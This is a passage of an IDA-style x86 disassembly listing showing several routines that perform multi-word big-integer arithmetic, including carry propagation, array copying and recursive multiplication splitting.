		mov	edi, [ebp+arg_4]
		push	edi
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_8058E20
		add	esp, 10h
		jmp	short loc_805937A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8059334:				; CODE XREF: sub_8059048+2B3j
		mov	edi, [ebp+arg_C]
		push	edi
		mov	esi, [ebp+arg_10]
		push	esi
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_0]
		lea	eax, [esi+edi*4]
		push	eax
		push	eax
		call	sub_8066380
		add	[ebp+var_8], eax

loc_805934F:				; CODE XREF: sub_8059048+2CCj
		add	esp, 10h
		cmp	[ebp+var_4], 1Fh
		jle	short loc_8059318
		mov	edi, [ebp+arg_C]
		mov	esi, [ebp+arg_10]
		lea	eax, [esi+edi*4]
		push	eax
		mov	edi, [ebp+var_4]
		push	edi
		mov	esi, [ebp+arg_8]
		push	esi
		mov	edi, [ebp+arg_4]
		push	edi
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_8059048
		add	esp, 14h

loc_805937A:				; CODE XREF: sub_8059048+2E8j
		mov	edi, [ebp+arg_C]
		push	edi
		mov	esi, [ebp+arg_10]
		push	esi
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_0]
		lea	ebx, [esi+edi*4]
		push	ebx
		push	ebx
		call	sub_8066380
		add	[ebp+var_8], eax
		add	esp, 10h
		cmp	[ebp+var_8], 0
		jz	loc_805950C
		mov	edi, [ebp+arg_C]
		lea	ebx, [ebx+edi*4]
		mov	esi, [ebp+var_4]
		mov	[ebp+var_10], esi
		mov	edx, [ebx]
		lea	edi, [ebx+4]
		mov	[ebp+var_14], edi
		mov	eax, [ebp+var_8]
		add	eax, edx
		mov	[ebx], eax
		mov	ebx, [ebp+var_14]
		cmp	eax, edx
		jnb	loc_805949C
		dec	esi
		mov	[ebp+var_10], esi
		jz	loc_805950C
		mov	eax, esi
		neg	eax
		and	eax, 3
		test	esi, esi
		jle	short loc_8059422
		test	eax, eax
		jz	short loc_8059440
		cmp	eax, 3
		jge	short loc_8059422
		cmp	eax, 2
		jge	short loc_805940A
		mov	edx, [ebx]
		inc	edx
		lea	esi, [ebx+4]
		mov	[ebp+var_14], esi
		mov	[ebx], edx
		mov	ebx, [ebp+var_14]
		test	edx, edx
		jnz	loc_805949C
		mov	edi, [ebp+var_4]
		add	edi, 0FFFFFFFEh
		mov	[ebp+var_10], edi

loc_805940A:				; CODE XREF: sub_8059048+3A1j
		mov	esi, [ebp+var_14]
		mov	edx, [esi]
		inc	edx
		add	esi, 4
		mov	[ebp+var_14], esi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	short loc_805949C
		dec	[ebp+var_10]

loc_8059422:				; CODE XREF: sub_8059048+393j
					; sub_8059048+39Cj
		mov	edi, [ebp+var_14]
		mov	edx, [edi]
		inc	edx
		add	edi, 4
		mov	[ebp+var_14], edi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	short loc_805949C
		dec	[ebp+var_10]
		jz	loc_805950C

loc_8059440:				; CODE XREF: sub_8059048+397j
					; sub_8059048+44Fj
		mov	esi, [ebp+var_14]
		mov	edx, [esi]
		inc	edx
		add	esi, 4
		mov	[ebp+var_14], esi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	short loc_805949C
		dec	[ebp+var_10]
		mov	edx, [esi]
		inc	edx
		add	esi, 4
		mov	[ebp+var_14], esi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	short loc_805949C
		dec	[ebp+var_10]
		mov	edx, [esi]
		inc	edx
		add	esi, 4
		mov	[ebp+var_14], esi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	short loc_805949C
		dec	[ebp+var_10]
		mov	edx, [esi]
		inc	edx
		add	esi, 4
		mov	[ebp+var_14], esi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	short loc_805949C
		dec	[ebp+var_10]
		jnz	short loc_8059440
		jmp	short loc_805950C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805949C:				; CODE XREF: sub_8059048+37Aj
					; sub_8059048+3B3j ...
		cmp	[ebp+var_14], ebx
		jz	short loc_805950C
		xor	ecx, ecx
		mov	edi, [ebp+var_10]
		dec	edi
		mov	[ebp+var_10], edi
		cmp	ecx, edi
		jge	short loc_805950C
		mov	eax, edi
		and	eax, 3
		jz	short loc_80594E0
		cmp	eax, 1
		jle	short loc_80594D1
		cmp	eax, 2
		jle	short loc_80594C7
		mov	esi, [ebp+var_14]
		mov	eax, [esi]
		mov	[ebx], eax
		inc	ecx

loc_80594C7:				; CODE XREF: sub_8059048+475j
		mov	edi, [ebp+var_14]
		mov	eax, [edi+ecx*4]
		mov	[ebx+ecx*4], eax
		inc	ecx

loc_80594D1:				; CODE XREF: sub_8059048+470j
		mov	esi, [ebp+var_14]
		mov	eax, [esi+ecx*4]
		mov	[ebx+ecx*4], eax
		inc	ecx
		cmp	[ebp+var_10], ecx
		jz	short loc_805950C

loc_80594E0:				; CODE XREF: sub_8059048+46Bj
					; sub_8059048+4C2j
		mov	edi, [ebp+var_14]
		mov	eax, [edi+ecx*4]
		mov	[ebx+ecx*4], eax
		lea	edx, [ecx+1]
		mov	eax, [edi+edx*4]
		mov	[ebx+edx*4], eax
		lea	edx, [ecx+2]
		mov	eax, [edi+edx*4]
		mov	[ebx+edx*4], eax
		lea	edx, [ecx+3]
		mov	eax, [edi+edx*4]
		mov	[ebx+edx*4], eax
		add	ecx, 4
		cmp	[ebp+var_10], ecx
		jnz	short loc_80594E0

loc_805950C:				; CODE XREF: sub_8059048+354j
					; sub_8059048+384j ...
		xor	ecx, ecx
		cmp	[ebp+var_4], ecx
		jle	short loc_805957F
		mov	eax, [ebp+var_4]
		and	eax, 3
		jz	short loc_8059550
		cmp	eax, 1
		jle	short loc_805953D
		cmp	eax, 2
		jle	short loc_8059530
		mov	esi, [ebp+arg_10]
		mov	eax, [esi]
		mov	edi, [ebp+arg_0]
		mov	[edi], eax
		inc	ecx

loc_8059530:				; CODE XREF: sub_8059048+4DBj
		mov	esi, [ebp+arg_10]
		mov	eax, [esi+ecx*4]
		mov	edi, [ebp+arg_0]
		mov	[edi+ecx*4], eax
		inc	ecx

loc_805953D:				; CODE XREF: sub_8059048+4D6j
		mov	esi, [ebp+arg_10]
		mov	eax, [esi+ecx*4]
		mov	edi, [ebp+arg_0]
		mov	[edi+ecx*4], eax
		inc	ecx
		cmp	[ebp+var_4], ecx
		jz	short loc_805957F
		nop

loc_8059550:				; CODE XREF: sub_8059048+4D1j
					; sub_8059048+535j
		mov	esi, [ebp+arg_10]
		mov	eax, [esi+ecx*4]
		mov	edi, [ebp+arg_0]
		mov	[edi+ecx*4], eax
		lea	eax, [ecx+1]
		mov	edx, [esi+eax*4]
		mov	[edi+eax*4], edx
		lea	eax, [ecx+2]
		mov	edx, [esi+eax*4]
		mov	[edi+eax*4], edx
		lea	eax, [ecx+3]
		mov	edx, [esi+eax*4]
		mov	[edi+eax*4], edx
		add	ecx, 4
		cmp	[ebp+var_4], ecx
		jnz	short loc_8059550

loc_805957F:				; CODE XREF: sub_8059048+4C9j
					; sub_8059048+505j
		mov	esi, [ebp+var_4]
		push	esi
		lea	eax, ds:0[esi*4]
		mov	edx, [ebp+arg_10]
		add	edx, eax
		push	edx
		add	eax, [ebp+arg_0]
		push	eax
		push	eax
		call	sub_8066380
		mov	[ebp+var_8], eax
		test	eax, eax
		jz	loc_8059710
		mov	edi, [ebp+arg_C]
		mov	esi, [ebp+arg_0]
		lea	ebx, [esi+edi*4]
		mov	[ebp+var_10], edi
		mov	edx, [ebx]
		lea	edi, [ebx+4]
		mov	[ebp+var_14], edi
		lea	eax, [edx+1]
		mov	[ebx], eax
		mov	ebx, [ebp+var_14]
		cmp	eax, edx
		jnb	loc_80596A0
		dec	[ebp+var_10]
		jz	loc_8059710
		mov	eax, [ebp+var_10]
		neg	eax
		and	eax, 3
		cmp	[ebp+var_10], 0
		jle	short loc_8059623
		test	eax, eax
		jz	short loc_8059644
		cmp	eax, 3
		jge	short loc_8059623
		cmp	eax, 2
		jge	short loc_8059607
		mov	edx, [ebx]
		inc	edx
		lea	esi, [ebx+4]
		mov	[ebp+var_14], esi
		mov	[ebx], edx
		mov	ebx, [ebp+var_14]
		test	edx, edx
		jnz	loc_80596A0
		dec	[ebp+var_10]

loc_8059607:				; CODE XREF: sub_8059048+5A4j
		mov	edi, [ebp+var_14]
		mov	edx, [edi]
		inc	edx
		add	edi, 4
		mov	[ebp+var_14], edi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	loc_80596A0
		dec	[ebp+var_10]

loc_8059623:				; CODE XREF: sub_8059048+596j
					; sub_8059048+59Fj
		mov	esi, [ebp+var_14]
		mov	edx, [esi]
		inc	edx
		add	esi, 4
		mov	[ebp+var_14], esi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	short loc_80596A0
		dec	[ebp+var_10]
		jz	loc_8059710
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_8059644:				; CODE XREF: sub_8059048+59Aj
					; sub_8059048+653j
		mov	edi, [ebp+var_14]
		mov	edx, [edi]
		inc	edx
		add	edi, 4
		mov	[ebp+var_14], edi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	short loc_80596A0
		dec	[ebp+var_10]
		mov	edx, [edi]
		inc	edx
		add	edi, 4
		mov	[ebp+var_14], edi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	short loc_80596A0
		dec	[ebp+var_10]
		mov	edx, [edi]
		inc	edx
		add	edi, 4
		mov	[ebp+var_14], edi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	short loc_80596A0
		dec	[ebp+var_10]
		mov	edx, [edi]
		inc	edx
		add	edi, 4
		mov	[ebp+var_14], edi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	short loc_80596A0
		dec	[ebp+var_10]
		jnz	short loc_8059644
		jmp	short loc_8059710
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80596A0:				; CODE XREF: sub_8059048+57Bj
					; sub_8059048+5B6j ...
		cmp	[ebp+var_14], ebx
		jz	short loc_8059710
		xor	ecx, ecx
		mov	esi, [ebp+var_10]
		dec	esi
		mov	[ebp+var_10], esi
		cmp	ecx, esi
		jge	short loc_8059710
		mov	eax, esi
		and	eax, 3
		jz	short loc_80596E4
		cmp	eax, 1
		jle	short loc_80596D5
		cmp	eax, 2
		jle	short loc_80596CB
		mov	edi, [ebp+var_14]
		mov	eax, [edi]
		mov	[ebx], eax
		inc	ecx

loc_80596CB:				; CODE XREF: sub_8059048+679j
		mov	esi, [ebp+var_14]
		mov	eax, [esi+ecx*4]
		mov	[ebx+ecx*4], eax
		inc	ecx

loc_80596D5:				; CODE XREF: sub_8059048+674j
		mov	edi, [ebp+var_14]
		mov	eax, [edi+ecx*4]
		mov	[ebx+ecx*4], eax
		inc	ecx
		cmp	[ebp+var_10], ecx
		jz	short loc_8059710

loc_80596E4:				; CODE XREF: sub_8059048+66Fj
					; sub_8059048+6C6j
		mov	esi, [ebp+var_14]
		mov	eax, [esi+ecx*4]
		mov	[ebx+ecx*4], eax
		lea	edx, [ecx+1]
		mov	eax, [esi+edx*4]
		mov	[ebx+edx*4], eax
		lea	edx, [ecx+2]
		mov	eax, [esi+edx*4]
		mov	[ebx+edx*4], eax
		lea	edx, [ecx+3]
		mov	eax, [esi+edx*4]
		mov	[ebx+edx*4], eax
		add	ecx, 4
		cmp	[ebp+var_10], ecx
		jnz	short loc_80596E4

loc_8059710:				; CODE XREF: sub_8059048+85j
					; sub_8059048+557j ...
		lea	esp, [ebp+var_20]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8059048	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805971C	proc near		; CODE XREF: sub_8059938+8Cp
					; sub_8059938+ADp ...

var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	eax, [esi]
		cmp	eax, 1
		ja	loc_8059810
		jnz	short loc_80597AC
		xor	ecx, ecx
		cmp	[ebp+arg_8], ecx
		jle	loc_805980B
		mov	eax, [ebp+arg_8]
		and	eax, 3
		jz	short loc_805977C
		cmp	eax, 1
		jle	short loc_8059766
		cmp	eax, 2
		jle	short loc_805975C
		mov	dword ptr [ebx], 1
		inc	ecx

loc_805975C:				; CODE XREF: sub_805971C+37j
		mov	edi, [ebp+arg_4]
		mov	eax, [edi+ecx*4]
		mov	[ebx+ecx*4], eax
		inc	ecx

loc_8059766:				; CODE XREF: sub_805971C+32j
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+ecx*4]
		mov	[ebx+ecx*4], eax
		inc	ecx
		cmp	[ebp+arg_8], ecx
		jz	loc_805980B
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_805977C:				; CODE XREF: sub_805971C+2Dj
					; sub_805971C+8Aj
		mov	edi, [ebp+arg_4]
		mov	eax, [edi+ecx*4]
		mov	[ebx+ecx*4], eax
		lea	eax, [ecx+1]
		mov	edx, [edi+eax*4]
		mov	[ebx+eax*4], edx
		lea	eax, [ecx+2]
		mov	edx, [edi+eax*4]
		mov	[ebx+eax*4], edx
		lea	eax, [ecx+3]
		mov	edx, [edi+eax*4]
		mov	[ebx+eax*4], edx
		add	ecx, 4
		cmp	[ebp+arg_8], ecx
		jnz	short loc_805977C
		jmp	short loc_805980B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80597AC:				; CODE XREF: sub_805971C+1Aj
		xor	eax, eax
		cmp	[ebp+arg_8], eax
		jle	short loc_805980B
		mov	edx, [ebp+arg_8]
		and	edx, 3
		jz	short loc_80597E4
		cmp	edx, 1
		jle	short loc_80597D4
		cmp	edx, 2
		jle	short loc_80597CC
		mov	dword ptr [ebx], 0
		inc	eax

loc_80597CC:				; CODE XREF: sub_805971C+A7j
		mov	dword ptr [ebx+eax*4], 0
		inc	eax

loc_80597D4:				; CODE XREF: sub_805971C+A2j
		mov	dword ptr [ebx+eax*4], 0
		inc	eax
		cmp	[ebp+arg_8], eax
		jz	short loc_805980B
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_80597E4:				; CODE XREF: sub_805971C+9Dj
					; sub_805971C+EDj
		mov	dword ptr [ebx+eax*4], 0
		mov	dword ptr [ebx+eax*4+4], 0
		mov	dword ptr [ebx+eax*4+8], 0
		mov	dword ptr [ebx+eax*4+0Ch], 0
		add	eax, 4
		cmp	[ebp+arg_8], eax
		jnz	short loc_80597E4

loc_805980B:				; CODE XREF: sub_805971C+21j
					; sub_805971C+57j ...
		xor	edx, edx
		jmp	short loc_8059824
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8059810:				; CODE XREF: sub_805971C+14j
		push	eax
		mov	esi, [ebp+arg_8]
		push	esi
		mov	edi, [ebp+arg_4]
		push	edi
		push	ebx
		call	sub_8058DE0
		mov	edx, eax
		add	esp, 10h

loc_8059824:				; CODE XREF: sub_805971C+F1j
		mov	esi, [ebp+arg_8]
		mov	[ebx+esi*4], edx
		add	ebx, 4
		mov	[ebp+var_4], 1
		cmp	[ebp+var_4], esi
		jge	loc_805992C
		test	esi, 1
		jnz	short loc_8059890
		mov	edi, [ebp+arg_4]
		mov	eax, [edi+4]
		cmp	eax, 1
		ja	short loc_8059864
		xor	edx, edx
		cmp	eax, 1
		jnz	short loc_8059878
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	sub_8066380
		jmp	short loc_8059873
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8059864:				; CODE XREF: sub_805971C+132j
		push	eax
		mov	esi, [ebp+arg_8]
		push	esi
		mov	edi, [ebp+arg_4]
		push	edi
		push	ebx
		call	sub_8066420

loc_8059873:				; CODE XREF: sub_805971C+144j
		mov	edx, eax
		add	esp, 10h

loc_8059878:				; CODE XREF: sub_805971C+139j
		mov	esi, [ebp+arg_8]
		mov	[ebx+esi*4], edx
		add	ebx, 4
		inc	[ebp+var_4]
		cmp	[ebp+var_4], esi
		jz	loc_805992C
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_8059890:				; CODE XREF: sub_805971C+127j
					; sub_805971C+20Aj
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+edi*4]
		cmp	eax, 1
		ja	short loc_80598B4
		xor	edx, edx
		cmp	eax, 1
		jnz	short loc_80598C8
		mov	edi, [ebp+arg_8]
		push	edi
		push	esi
		push	ebx
		push	ebx
		call	sub_8066380
		jmp	short loc_80598C3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80598B4:				; CODE XREF: sub_805971C+180j
		push	eax
		mov	esi, [ebp+arg_8]
		push	esi
		mov	edi, [ebp+arg_4]
		push	edi
		push	ebx
		call	sub_8066420

loc_80598C3:				; CODE XREF: sub_805971C+195j
		mov	edx, eax
		add	esp, 10h

loc_80598C8:				; CODE XREF: sub_805971C+187j
		mov	esi, [ebp+arg_8]
		mov	[ebx+esi*4], edx
		lea	edi, [ebx+4]
		mov	[ebp+var_8], edi
		mov	esi, [ebp+var_4]
		mov	edi, [ebp+arg_4]
		mov	eax, [edi+esi*4+4]
		cmp	eax, 1
		ja	short loc_80598FC
		xor	edx, edx
		cmp	eax, 1
		jnz	short loc_8059913
		mov	esi, [ebp+arg_8]
		push	esi
		push	edi
		mov	edi, [ebp+var_8]
		push	edi
		push	edi
		call	sub_8066380
		jmp	short loc_805990E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80598FC:				; CODE XREF: sub_805971C+1C5j
		push	eax
		mov	esi, [ebp+arg_8]
		push	esi
		mov	edi, [ebp+arg_4]
		push	edi
		mov	esi, [ebp+var_8]
		push	esi
		call	sub_8066420

loc_805990E:				; CODE XREF: sub_805971C+1DDj
		mov	edx, eax
		add	esp, 10h

loc_8059913:				; CODE XREF: sub_805971C+1CCj
		mov	edi, [ebp+arg_8]
		mov	esi, [ebp+var_8]
		mov	[esi+edi*4], edx
		add	ebx, 8
		add	[ebp+var_4], 2
		cmp	[ebp+var_4], edi
		jnz	loc_8059890

loc_805992C:				; CODE XREF: sub_805971C+11Bj
					; sub_805971C+16Bj
		lea	esp, [ebp+var_14]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805971C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8059938	proc near		; CODE XREF: sub_8059938+2Ep
					; sub_8059938+DCp ...

var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_8]
		test	esi, 1
		jz	loc_80599F0
		dec	esi
		mov	[ebp+var_10], esi
		cmp	esi, 1Fh
		jle	short loc_80599B8
		mov	edi, [ebp+arg_C]
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		push	esi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_8059938
		add	esp, 10h

loc_805996E:				; CODE XREF: sub_8059938+94j
		mov	esi, [ebp+var_10]
		mov	edi, [ebp+arg_4]
		mov	eax, [edi+esi*4]
		push	eax
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		lea	ebx, [edi+esi*4]
		push	ebx
		call	sub_8066420
		mov	edx, eax
		mov	eax, [ebp+var_10]
		add	eax, eax
		mov	[edi+eax*4], edx
		mov	edi, [ebp+arg_4]
		mov	eax, [edi+esi*4]
		push	eax
		mov	esi, [ebp+arg_8]
		push	esi
		push	edi
		push	ebx
		call	sub_8066420
		mov	edx, eax
		mov	eax, [ebp+arg_8]
		add	eax, [ebp+var_10]
		mov	edi, [ebp+arg_0]
		mov	[edi+eax*4], edx
		jmp	loc_8059F40
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80599B8:				; CODE XREF: sub_8059938+1Fj
		mov	esi, [ebp+var_10]
		push	esi
		mov	edi, [ebp+arg_4]
		push	edi
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_805971C
		add	esp, 0Ch
		jmp	short loc_805996E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80599D0:				; CODE XREF: sub_8059938+C4j
		mov	edi, [ebp+var_4]
		push	edi
		mov	esi, [ebp+arg_4]
		lea	eax, [esi+edi*4]
		push	eax
		mov	edi, [ebp+arg_8]
		mov	esi, [ebp+arg_0]
		lea	eax, [esi+edi*4]
		push	eax
		call	sub_805971C
		add	esp, 0Ch
		jmp	short loc_8059A1C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80599F0:				; CODE XREF: sub_8059938+12j
		mov	edi, [ebp+arg_8]
		sar	edi, 1
		mov	[ebp+var_4], edi
		cmp	edi, 1Fh
		jle	short loc_80599D0
		mov	esi, [ebp+arg_C]
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		lea	eax, [esi+edi*4]
		push	eax
		mov	edi, [ebp+arg_8]
		mov	esi, [ebp+arg_0]
		lea	eax, [esi+edi*4]
		push	eax
		call	sub_8059938
		add	esp, 10h

loc_8059A1C:				; CODE XREF: sub_8059938+B5j
		mov	edi, [ebp+var_4]
		push	edi
		mov	esi, [ebp+arg_4]
		push	esi
		lea	ebx, [esi+edi*4]
		push	ebx
		call	sub_8057F48
		add	esp, 0Ch
		test	eax, eax
		jl	short loc_8059A74
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		push	edi
		jmp	short loc_8059A84
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8059A40:				; CODE XREF: sub_8059938+158j
		mov	esi, [ebp+var_4]
		push	esi
		mov	edi, [ebp+arg_0]
		push	edi
		mov	esi, [ebp+arg_C]
		push	esi
		call	sub_805971C
		add	esp, 0Ch
		jmp	short loc_8059AB0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8059A58:				; CODE XREF: sub_8059938+24Aj
		mov	edi, [ebp+var_4]
		push	edi
		mov	esi, [ebp+arg_4]
		push	esi
		mov	edi, [ebp+arg_C]
		push	edi
		call	sub_805971C
		add	esp, 0Ch
		jmp	loc_8059BA3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8059A74:				; CODE XREF: sub_8059938+FAj
		mov	esi, [ebp+var_4]
		push	esi
		mov	edi, [ebp+arg_4]
		lea	eax, [edi+esi*4]
		push	eax
		push	edi
		mov	esi, [ebp+arg_0]
		push	esi

loc_8059A84:				; CODE XREF: sub_8059938+103j
		call	sub_805A010
		add	esp, 10h
		cmp	[ebp+var_4], 1Fh
		jle	short loc_8059A40
		mov	edi, [ebp+arg_8]
		mov	esi, [ebp+arg_C]
		lea	eax, [esi+edi*4]
		push	eax
		mov	edi, [ebp+var_4]
		push	edi
		mov	esi, [ebp+arg_0]
		push	esi
		mov	edi, [ebp+arg_C]
		push	edi
		call	sub_8059938
		add	esp, 10h

loc_8059AB0:				; CODE XREF: sub_8059938+11Cj
		cmp	[ebp+var_4], 0
		jle	loc_8059B3F
		mov	esi, [ebp+arg_8]
		lea	edx, ds:0[esi*4]
		mov	edi, [ebp+var_4]
		lea	ecx, ds:0[edi*4]
		lea	ebx, [edx+ecx]
		mov	eax, edi
		and	eax, 3
		jz	short loc_8059B14
		cmp	eax, 1
		jle	short loc_8059B00
		cmp	eax, 2
		jle	short loc_8059AF1
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+edx]
		mov	[esi+ecx], eax
		add	edx, 4
		add	ecx, 4

loc_8059AF1:				; CODE XREF: sub_8059938+1A8j
		mov	edi, [ebp+arg_0]
		mov	eax, [edi+edx]
		mov	[edi+ecx], eax
		add	edx, 4
		add	ecx, 4

loc_8059B00:				; CODE XREF: sub_8059938+1A3j
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+edx]
		mov	[esi+ecx], eax
		add	edx, 4
		add	ecx, 4
		cmp	edx, ebx
		jz	short loc_8059B3F
		nop

loc_8059B14:				; CODE XREF: sub_8059938+19Ej
					; sub_8059938+205j
		mov	edi, [ebp+arg_0]
		mov	eax, [edi+edx]
		mov	[edi+ecx], eax
		mov	eax, [edi+edx+4]
		mov	[edi+ecx+4], eax
		mov	eax, [edi+edx+8]
		mov	[edi+ecx+8], eax
		mov	eax, [edi+edx+0Ch]
		mov	[edi+ecx+0Ch], eax
		add	edx, 10h
		add	ecx, 10h
		cmp	edx, ebx
		jnz	short loc_8059B14

loc_8059B3F:				; CODE XREF: sub_8059938+17Cj
					; sub_8059938+1D9j
		mov	esi, [ebp+var_4]
		push	esi
		mov	edi, [ebp+arg_8]
		shl	edi, 2
		mov	[ebp+var_10], edi
		mov	eax, [ebp+arg_0]
		add	eax, edi
		lea	ebx, ds:0[esi*4]
		lea	edx, [ebx+eax]
		push	edx
		push	eax
		push	eax
		call	sub_8066380
		mov	[ebp+var_8], eax
		mov	esi, [ebp+arg_8]
		push	esi
		mov	edi, [ebp+arg_C]
		push	edi
		add	ebx, [ebp+arg_0]
		push	ebx
		push	ebx
		call	sub_805A010
		sub	[ebp+var_8], eax
		add	esp, 20h
		cmp	[ebp+var_4], 1Fh
		jle	loc_8059A58
		mov	eax, [ebp+arg_C]
		add	eax, [ebp+var_10]
		push	eax
		mov	esi, [ebp+var_4]
		push	esi
		mov	edi, [ebp+arg_4]
		push	edi
		mov	esi, [ebp+arg_C]
		push	esi
		call	sub_8059938
		add	esp, 10h

loc_8059BA3:				; CODE XREF: sub_8059938+134j
		mov	edi, [ebp+arg_8]
		push	edi
		mov	esi, [ebp+arg_C]
		push	esi
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_0]
		lea	ebx, [esi+edi*4]
		push	ebx
		push	ebx
		call	sub_8066380
		add	[ebp+var_8], eax
		add	esp, 10h
		cmp	[ebp+var_8], 0
		jz	loc_8059D3C
		mov	edi, [ebp+arg_8]
		lea	ebx, [ebx+edi*4]
		mov	esi, [ebp+var_4]
		mov	[ebp+var_C], esi
		mov	edx, [ebx]
		lea	edi, [ebx+4]
		mov	[ebp+var_10], edi
		mov	eax, [ebp+var_8]
		add	eax, edx
		mov	[ebx], eax
		mov	ebx, [ebp+var_10]
		cmp	eax, edx
		jnb	loc_8059CCC
		dec	esi
		mov	[ebp+var_C], esi
		jz	loc_8059D3C
		mov	eax, esi
		neg	eax
		and	eax, 3
		test	esi, esi
		jle	short loc_8059C4F
		test	eax, eax
		jz	short loc_8059C70
		cmp	eax, 3
		jge	short loc_8059C4F
		cmp	eax, 2
		jge	short loc_8059C33
		mov	edx, [ebx]
		inc	edx
		lea	esi, [ebx+4]
		mov	[ebp+var_10], esi
		mov	[ebx], edx
		mov	ebx, [ebp+var_10]
		test	edx, edx
		jnz	loc_8059CCC
		mov	edi, [ebp+var_4]
		add	edi, 0FFFFFFFEh
		mov	[ebp+var_C], edi

loc_8059C33:				; CODE XREF: sub_8059938+2DAj
		mov	esi, [ebp+var_10]
		mov	edx, [esi]
		inc	edx
		add	esi, 4
		mov	[ebp+var_10], esi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	loc_8059CCC
		dec	[ebp+var_C]

loc_8059C4F:				; CODE XREF: sub_8059938+2CCj
					; sub_8059938+2D5j
		mov	edi, [ebp+var_10]
		mov	edx, [edi]
		inc	edx
		add	edi, 4
		mov	[ebp+var_10], edi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
